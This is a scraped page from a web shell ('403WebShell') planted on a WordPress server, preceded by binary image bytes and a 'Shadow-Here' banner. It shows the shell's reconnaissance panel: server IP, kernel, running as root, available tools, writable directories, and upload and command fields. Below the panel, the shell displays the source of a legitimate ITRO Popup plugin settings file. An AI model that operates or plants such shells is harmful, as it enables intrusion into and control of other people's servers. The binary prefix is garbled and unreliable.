RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð ....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 104.225.223.251  /  Your IP : 216.73.216.41
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux agtdemo03 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/web/dev.agtindia.co.in/bit/wp-content/plugins/itro-popup/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/web/dev.agtindia.co.in/bit/wp-content/plugins/itro-popup/admin/popup-admin.php
<?php
/*
This file is part of ITRO Popup Plugin. (email : support@itroteam.com)
*/

if (!defined('ABSPATH')) {
    exit;
} // Exit if accessed directly

global $ITRO_VER;

$currentUser = wp_get_current_user();
global $wp_roles;
$userRoles = $currentUser->roles;
$allowedRoles = itro_get_option('roles');
if (!itro_can_manage()) {
    wp_die(__('You do not have sufficient permissions to access this page.'));
}

/* force table installation */
if (isset($_POST['force_tables_installation'])) {
    // wp token check
    check_admin_referer('ipp_save_data', 'ipp_cleardb_nonce_fld');
    itro_db_init();
}

/* variables for the field and option names */
if (!isset($submitted_form)) {
    $opt_name = array(
        /*opt 0*/
        'popup_time',
        /*opt 1*/
        'popup_top_margin',
        /*opt 2*/
        'cookie_time_exp',
        /*opt 3*/
        'popup_width',
        /*opt 4*/
        'popup_background',
        /*opt 5*/
        'popup_border_color',
        /*opt 6*/
        'age_restriction',
        /*opt 7*/
        'enter_button_text',
        /*opt 8*/
        'leave_button_text',
        /*opt 9*/
        'leave_button_url',
        /*opt 10*/
        'enter_button_bg_color',
        /*opt 11*/
        'enter_button_border_color',
        /*opt 12*/
        'leave_button_bg_color',
        /*opt 13*/
        'leave_button_border_color',
        /*opt 14*/
        'enter_button_font_color',
        /*opt 15*/
        'leave_button_font_color',
        /*opt 16*/
        'popup_position',
        /*opt 17*/
        'popup_height',
        /*opt 18*/
        'page_selection',
        /*opt 19*/
        'blog_home',
        /*opt 20*/
        'popup_border_radius',
        /*opt 21*/
        'count_font_color',
        /*opt 22*/
        'background_select',
        /*opt 23*/
        'popup_delay',
        /*opt 24*/
        'popup_unlockable',
        /*opt 25*/
        'popup_bg_opacity',
        /*opt 26*/
        'opaco_bg_color',
        /*opt 27*/
        'popup_border_width',
        /*opt 28*/
        'advanced_settings',
        /*opt 29*/
        'show_countdown',
        /*opt 30*/
        'auto_margin_check',
        /*opt 31*/
        'popup_padding',
        /*opt 32*/
        'disable_mobile',
        /*opt 33*/
        'cross_selected',
        /*opt 34*/
        'enter_button_url',
        /*opt 35*/
        'absolute_mobile_pos',
        /*opt 36*/
        'countdown_text',
        /*opt 37*/
        'close_cross_url',
        /*opt 38*/
        'users_display',
    );
    
    $submitted_form = 'mt_submit_hidden';
}

/* ordered options */
for ($i = 0; $i < count($opt_name); $i++) {
    /* See if the user has posted us some information  */
    /* If they did, this hidden field will be set to 'Y' */
    if (isset($_POST[$submitted_form]) && $_POST[$submitted_form] == 'Y') {
        // wp token check
        check_admin_referer('ipp_save_data', 'ipp_sec_nonce_fld');
        
        /* Read their posted value */
        if (isset($_POST[$opt_name[$i]])) {
            $opt_val[$i] = ipp_validate_data($opt_name[$i], $_POST[$opt_name[$i]]);
        } else {
            $opt_val[$i] = NULL;
        }
        
        /* Save the posted value in the database */
        itro_update_option($opt_name[$i], $opt_val[$i]);
        
        if (isset($_POST['select_' . $opt_name[$i]])) {
            itro_update_option('select_' . $opt_name[$i], $_POST['select_' . $opt_name[$i]]);
            
            $px_opt_val[$i] = ipp_validate_data('px_' . $opt_name[$i], $_POST['px_' . $opt_name[$i]]);
            itro_update_option('px_' . $opt_name[$i], $_POST['px_' . $opt_name[$i]]);
            $perc_opt_val[$i] = ipp_validate_data('perc_' . $opt_name[$i], $_POST['perc_' . $opt_name[$i]]);
            itro_update_option('perc_' . $opt_name[$i], $_POST['perc_' . $opt_name[$i]]);
        } else {
            itro_update_option('select_' . $opt_name[$i], NULL);
        }
    } else {
        /* Read in existing option value from database */
        $opt_val[$i] = itro_get_option($opt_name[$i]);
        $px_opt_val[$i] = itro_get_option('px_' . $opt_name[$i]);
        $perc_opt_val[$i] = itro_get_option('perc_' . $opt_name[$i]);
    }
}

/* unsorted option and field */
if (isset($_POST[$submitted_form]) && $_POST[$submitted_form] == 'Y') {
    //wp token check
    check_admin_referer('ipp_save_data', 'ipp_sec_nonce_fld');
    
    //WP Editor content
    if (isset($_POST['custom_html'])) {
        $field_value = ipp_validate_data('custom_html', $_POST['custom_html']);
    } else {
        $field_value = NULL;
    }
    
    /* Save the posted value in the database */
    itro_update_field('custom_html', $field_value);
    
    
    if (isset($_POST['selected_page_id'])) {
        $selected_page_id = json_encode($_POST['selected_page_id']);
        itro_update_option('selected_page_id', $selected_page_id);
    } else {
        itro_update_option('selected_page_id', NULL);
    }
    
    if (!empty($_POST['background_source'])) {
        itro_update_option('background_source', $_POST['background_source']);
    }
    
    if (isset($_POST['roles'])) {
        $roles_users = json_encode($_POST['roles']);
        itro_update_option('roles', $roles_users);
    } else {
        itro_update_option('roles', NULL);
    }
} else {
    //WP Editor Content
    $field_value = stripslashes(itro_get_field('custom_html'));
}

/* delete tables on plugin uninstall option */
if (isset($_POST['delete_data_hidden']) && $_POST['delete_data_hidden'] == 'Y') {
    // wp token check
    check_admin_referer('ipp_save_data', 'ipp_cleardb_nonce_fld');
    if (isset($_POST['delete_data'])) {
        itro_update_option('delete_data', $_POST['delete_data']);
    } else {
        itro_update_option('delete_data', NULL);
    }
}

/* Put an settings updated message on the screen */
if (isset($_POST[$submitted_form]) && $_POST[$submitted_form] == 'Y' || isset($_POST['delete_data_hidden']) && $_POST['delete_data_hidden'] == 'Y') {
    ?>
    <div class="updated"><p><strong><?php _e('settings saved.', 'itro-plugin'); ?></strong></p></div>
    <?php
}
?>
    <script type="text/javascript" src="<?php echo itroPath . 'scripts/'; ?>jscolor/jscolor.js"></script>

    <div style="display:table; width:100%;">
        <h1 style="float:left;"><?php _e('ITRO Popup Plugin - Settings', 'itro-plugin'); ?></h1>
        <h4 style="float:right; margin-right:30px;">VER: <?php echo $ITRO_VER; ?></h4>
    </div>

    <form id="optionForm" method="post">
        <?php wp_nonce_field('ipp_save_data', 'ipp_sec_nonce_fld'); ?>
        <div id="leftColumn">
            <!-- Settings form !-->
            <div id="formContainer">

                <!--------- General options --------->
                <?php echo itro_onOff('genOption', 'hidden'); ?>
                <p class="wpstyle" onClick="onOff_genOption();"><?php _e("General Popup Option:", 'itro-plugin'); ?> </p>
                <div id="genOption">
                    <input type="hidden" name="<?php echo $submitted_form; ?>" value="Y">

                    <!-- advanced settings checkbox !-->
                    <p>
                        <input type="checkbox" id="<?php echo $opt_name[28]; ?>" name="<?php echo $opt_name[28]; ?>" value="yes" <?php if ($opt_val[28] == 'yes') {
                            echo 'checked="checked"';
                        } ?>>
                        <span id="span_<?php echo $opt_name[28]; ?>" onclick="itro_mutual_check('<?php echo $opt_name[28]; ?>','','');"><?php _e("SHOW ADVANCED SETTINGS", "itro-plugin") ?></span>
                        <img style="vertical-align:super; cursor:help" src="<?php echo itroImages . 'question_mark.png'; ?>" title="<?php _e('Display many other options', 'itro-plugin'); ?>"/>
                    </p>

                    <!-- roles !-->
                    <p>
                    <h3><?php _e("SELECT THE ROLE", "itro-plugin") ?></h3>
                    <?php
                    $checked = "";
                    $roles_obj = new WP_Roles();
                    foreach ($roles_obj->roles as $role => $role_val) {
                        $allowedRoles = json_decode(itro_get_option('roles'));
                        if (in_array($role, (array) $allowedRoles)) {
                            $checked = "checked";
                        } else {
                            $checked = "";
                        }
                        if ($role == 'administrator' || $role == 'itro_support') {
                            $disabled = 'disabled';
                            $checked = 'checked';
                        } else {
                            $disabled = '';
                        }
                        echo "<input type='checkbox' name='roles[]' id='roles_$role' value='$role' $checked $disabled>";
                        echo '<label for="roles_' . $role . '">' . $role_val['name'] . '</label>';
                        echo "<br><br>";
                    }
                    ?>
                    </p>

                    <!-- popup display location!-->
                    <p>
                    <h3><?php _e("DECIDE WHERE POPUP WILL BE DISPLAYED", "itro-plugin") ?></h3>
                    <h4>For the users:</h4>
                    <fieldset>
                        <input type="radio" name="<?php echo $opt_name[38]; ?>" id="clickable_a" value="all" <?php if ($opt_val[38] == 'all') {
                            echo 'checked="checked"';
                        } ?>/> <label for="clickable_a"> <?php _e('All users', 'itro-plugin'); ?> </label> &nbsp;&nbsp;&nbsp;
                        <input type="radio" name="<?php echo $opt_name[38]; ?>" id="clickable_b" value="not_logged" <?php if ($opt_val[38] == 'not_logged') {
                            echo 'checked="checked"';
                        } ?>/> <label for="clickable_b"> <?php _e('Not logged in users ', 'itro-plugin'); ?> </label> &nbsp;&nbsp;&nbsp;
                        <input type="radio" name="<?php echo $opt_name[38]; ?>" id="clickable_c" value="logged" <?php if ($opt_val[38] == 'logged' || $opt_name[38] == NULL) {
                            echo 'checked="checked"';
                        } ?>/> <label for="clickable_c"> <?php _e('Logged in users', 'itro-plugin'); ?> </label>
                    </fieldset>
                    <h4>For the page:</h4>
                    <fieldset>
                        <input type="radio" id="only_selected" name="<?php echo $opt_name[18]; ?>" value="some"<?php if ($opt_val[18] == 'some') {
                            echo 'checked="checked"';
                        } ?>/> <label for="only_selected"> <?php _e("Only selected pages", 'itro-plugin'); ?> </label> <img style="vertical-align:super; cursor:help" src="<?php echo itroImages . 'question_mark.png'; ?>"
                                                                                                                            title="<?php _e("Multiple choices with CTRL+Click or SHIFT+Arrow up or down", 'itro-plugin'); ?>">&nbsp;&nbsp;&nbsp;
                        <input type="radio" id="only_selected_a" name="<?php echo $opt_name[18]; ?>" value="all" <?php if ($opt_val[18] == 'all') {
                            echo 'checked="checked"';
                        } ?>/> <label for="only_selected_a"> <?php _e("All pages", 'itro-plugin'); ?> </label> &nbsp;&nbsp;&nbsp;
                        <input type="radio" id="only_selected_b" name="<?php echo $opt_name[18]; ?>" value="none" <?php if ($opt_val[18] == 'none' || $opt_val[18] == NULL) {
                            echo 'checked="checked"';
                        } ?>/> <label for="only_selected_b"> <?php _e("No page", 'itro-plugin'); ?> </label>
                    </fieldset>
                    <div onClick="document.getElementById('only_selected').checked = true;">
                        <select name="<?php echo $opt_name[19]; ?>" multiple size="1">
                            <option onmouseover="itro_check_state(this)" onmouseup="itro_select(this);" value="yes" <?php if ($opt_val[19] == 'yes') {
                                echo 'selected="select"';
                            } ?> ><?php _e("Blog homepage", "itro-plugin") ?></option>
                        </select>
                        <img style="vertical-align:super; cursor:help" src="<?php echo itroImages . 'question_mark.png'; ?>"
                             title="<?php _e('If in your Settings->Reading you have set \'Front page displays: Your latest posts\' and want to display the popup in the home, check this box.', 'itro-plugin'); ?>"/>
                        <br>
                        <?php
                        /* list of published pages */
                        itro_list_pages();
                        ?>
                    </div>
                    </p>

                    <!-- disable esc key !-->
                    <h3><?php _e("GENERAL SETTINGS", "itro-plugin") ?></h3>
                    <p id="<?php echo $opt_name[24]; ?>_div">
                        <input type="checkbox" id="<?php echo $opt_name[24]; ?>" name="<?php echo $opt_name[24]; ?>" value="yes" <?php if ($opt_val[24] == 'yes') {
                            echo 'checked="checked"';
                        } ?> />
                        <span onclick="itro_mutual_check('<?php echo $opt_name[24]; ?>','','')"><?php _e("Disable easy closing", 'itro-plugin'); ?></span>
                        <img style="vertical-align:super; cursor:help" src="<?php echo itroImages . 'question_mark.png'; ?>"
                             title="<?php _e('If you set this option, popup can not be closed with ESC button of keyboard or clicking outside the popup.', 'itro-plugin'); ?>">
                    </p>

                    <!-- popup seconds!-->
                    <div style="display:table; height:10px; padding-bottom:5px;">
                        <span style="float:left;"><?php _e("Popup seconds:", 'itro-plugin'); ?> <img style="vertical-align:super; cursor:help" src="<?php echo itroImages . 'question_mark.png'; ?>"
                                                                                                     title="<?php _e("Set seconds until the popup automatically close. Set it to zero to disable countdown.", 'itro-plugin'); ?>"></span>
                        &nbsp;&nbsp;&nbsp;
                        <?php itro_slidebar($opt_name[0], $opt_val[0], 0, 120, 1, 0, '') ?>
                        <input type="text" class="itro_text_input" id="<?php echo $opt_name[0]; ?>" name="<?php echo $opt_name[0]; ?>" value="<?php echo $opt_val[0]; ?>" size="1">
                    </div>

                    <!-- popup delay!-->
                    <div id="<?php echo $opt_name[23]; ?>_div" style="display:table; height:10px; padding-bottom:5px;">
                        <span style="float:left;"><?php _e("Popup delay:", 'itro-plugin'); ?> <img style="vertical-align:super; cursor:help" src="<?php echo itroImages . 'question_mark.png'; ?>"
                                                                                                   title="<?php _e("Set seconds before the popup will be displayed", 'itro-plugin'); ?>"></span>
                        &nbsp;&nbsp;&nbsp;
                        <?php itro_slidebar($opt_name[23], $opt_val[23], 0, 120, 1, 0, '') ?>
                        <input type="text" class="itro_text_input" id="<?php echo $opt_name[23]; ?>" name="<?php echo $opt_name[23]; ?>" value="<?php echo $opt_val[23]; ?>" size="1">
                    </div>

                    <!-- next time visualization !-->
                    <div style="display:table; height:10px; padding-bottom:5px;">
                        <span style="float:left;"><?php _e("Next visualization (hours):", 'itro-plugin'); ?> <img style="vertical-align:super; cursor:help" src="<?php echo itroImages . 'question_mark.png'; ?>"
                                                                                                                  title="<?php _e("Set time for the next visualization of popup, to prevent annoying repeated visualizations, when someone visit pages",
                                                                                                                      'itro-plugin'); ?>"></span>
                        &nbsp;&nbsp;&nbsp;
                        <?php itro_slidebar($opt_name[2], $opt_val[2], 0, 720, 6, 0, '') ?>
                        <input type="text" class="itro_text_input" id="<?php echo $opt_name[2]; ?>" name="<?php echo $opt_name[2]; ?>" value="<?php echo $opt_val[2]; ?>" size="1">
                    </div>

                    <input value="<?php _e("Delete cookie", 'itro-plugin'); ?>" type="button" class="button"
                           onclick="itro_set_cookie('popup_cookie','one_time_popup',-100); jQuery('#cookie_msg').stop(true, true); jQuery('#cookie_msg').fadeIn(function() {jQuery('#cookie_msg').fadeOut(6000);});">
                    <span id="cookie_msg" style="display:none;background-color:green;"><?php _e("Cookie deleted!", 'itro-plugin'); ?></span>

                    <!-- countdown settings !-->
                    <p id="<?php echo $opt_name[29]; ?>_div">
                        <input type="checkbox" name="<?php echo $opt_name[29]; ?>" id="<?php echo $opt_name[29]; ?>" value="yes" <?php if (itro_get_option($opt_name[29]) == 'yes') {
                            echo 'checked="checked"';
                        } ?> />&nbsp;&nbsp;
                        <span onclick="itro_mutual_check('<?php echo $opt_name[29]; ?>','','')"><?php _e("Show countdown", 'itro-plugin'); ?></span>
                        <img style="vertical-align:super; cursor:help" src="<?php echo itroImages . 'question_mark.png'; ?>"
